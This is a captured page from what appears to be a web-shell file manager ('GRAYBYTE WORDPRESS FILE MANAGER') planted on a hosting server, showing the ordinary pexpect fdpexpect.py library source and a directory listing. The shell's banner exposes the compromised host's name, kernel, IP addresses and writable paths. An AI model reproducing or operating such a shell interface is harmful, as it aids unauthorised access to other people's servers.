✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ beluga.o2switch.net ​🇻​♯➤ 4.18.0-553.123.2.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 185.154.139.77 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.84
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/alt/python27/lib/python2.7/site-packages/pexpect//fdpexpect.py
'''This is like pexpect, but it will work with any file descriptor that you
pass it. You are reponsible for opening and close the file descriptor.
This allows you to use Pexpect with sockets and named pipes (FIFOs).

PEXPECT LICENSE

    This license is approved by the OSI and FSF as GPL-compatible.
        http://opensource.org/licenses/isc-license.txt

    Copyright (c) 2012, Noah Spurrier <noah@noah.org>
    PERMISSION TO USE, COPY, MODIFY, AND/OR DISTRIBUTE THIS SOFTWARE FOR ANY
    PURPOSE WITH OR WITHOUT FEE IS HEREBY GRANTED, PROVIDED THAT THE ABOVE
    COPYRIGHT NOTICE AND THIS PERMISSION NOTICE APPEAR IN ALL COPIES.
    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

'''

from .spawnbase import SpawnBase
from .exceptions import ExceptionPexpect
import os

__all__ = ['fdspawn']

class fdspawn(SpawnBase):
    '''This is like pexpect.spawn but allows you to supply your own open file
    descriptor. For example, you could use it to read through a file looking
    for patterns, or to control a modem or serial device. '''

    def __init__ (self, fd, args=None, timeout=30, maxread=2000, searchwindowsize=None,
                  logfile=None, encoding=None, codec_errors='strict'):
        '''This takes a file descriptor (an int) or an object that support the
        fileno() method (returning an int). All Python file-like objects
        support fileno(). '''

        if type(fd) != type(0) and hasattr(fd, 'fileno'):
            fd = fd.fileno()

        if type(fd) != type(0):
            raise ExceptionPexpect('The fd argument is not an int. If this is a command string then maybe you want to use pexpect.spawn.')

        try: # make sure fd is a valid file descriptor
            os.fstat(fd)
        except OSError:
            raise ExceptionPexpect('The fd argument is not a valid file descriptor.')

        self.args = None
        self.command = None
        SpawnBase.__init__(self, timeout, maxread, searchwindowsize, logfile,
                           encoding=encoding, codec_errors=codec_errors)
        self.child_fd = fd
        self.own_fd = False
        self.closed = False
        self.name = '<file descriptor %d>' % fd

    def close (self):
        """Close the file descriptor.

        Calling this method a second time does nothing, but if the file
        descriptor was closed elsewhere, :class:`OSError` will be raised.
        """
        if self.child_fd == -1:
            return

        self.flush()
        os.close(self.child_fd)
        self.child_fd = -1
        self.closed = True

    def isalive (self):
        '''This checks if the file descriptor is still valid. If :func:`os.fstat`
        does not raise an exception then we assume it is alive. '''

        if self.child_fd == -1:
            return False
        try:
            os.fstat(self.child_fd)
            return True
        except:
            return False

    def terminate (self, force=False):  # pragma: no cover
        '''Deprecated and invalid. Just raises an exception.'''
        raise ExceptionPexpect('This method is not valid for file descriptors.')
    
    # These four methods are left around for backwards compatibility, but not
    # documented as part of fdpexpect. You're encouraged to use os.write
    # directly.
    def send(self, s):
        "Write to fd, return number of bytes written"
        s = self._coerce_send_string(s)
        self._log(s, 'send')
        
        b = self._encoder.encode(s, final=False)
        return os.write(self.child_fd, b)
    
    def sendline(self, s):
        "Write to fd with trailing newline, return number of bytes written"
        s = self._coerce_send_string(s)
        return self.send(s + self.linesep)
    
    def write(self, s):
        "Write to fd, return None"
        self.send(s)
    
    def writelines(self, sequence):
        "Call self.write() for each item in sequence"
        for s in sequence:
            self.write(s)


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
8 Jan 2025 10.42 AM
root / linksafe
0755
ANSI.py
11.892 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
ANSI.pyc
13.406 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
ANSI.pyo
13.406 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
FSM.py
13.113 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
FSM.pyc
13.995 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
FSM.pyo
13.995 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
__init__.py
3.811 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
__init__.pyc
4.056 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
__init__.pyo
4.056 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
bashrc.sh
0.083 KB
21 May 2016 11.46 AM
root / linksafe
0644
exceptions.py
1.043 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
exceptions.pyc
2.095 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
exceptions.pyo
2.095 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
expect.py
10.446 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
expect.pyc
9.388 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
expect.pyo
9.388 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
fdpexpect.py
4.303 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
fdpexpect.pyc
5.28 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
fdpexpect.pyo
5.28 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
popen_spawn.py
5.421 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
popen_spawn.pyc
6.191 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
popen_spawn.pyo
6.191 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
pty_spawn.py
35.182 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
pty_spawn.pyc
34.386 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
pty_spawn.pyo
34.238 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
pxssh.py
18.312 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
pxssh.pyc
14.37 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
pxssh.pyo
14.37 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
replwrap.py
4.55 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
replwrap.pyc
4.798 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
replwrap.pyo
4.798 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
run.py
6.477 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
run.pyc
5.962 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
run.pyo
5.962 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
screen.py
13.395 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
screen.pyc
17.333 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
screen.pyo
17.333 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
spawnbase.py
19.617 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
spawnbase.pyc
18.553 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
spawnbase.pyo
18.553 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
utils.py
3.487 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
utils.pyc
2.692 KB
21 Oct 2019 5.05 PM
root / linksafe
0644
utils.pyo
2.692 KB
21 Oct 2019 5.05 PM
root / linksafe
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF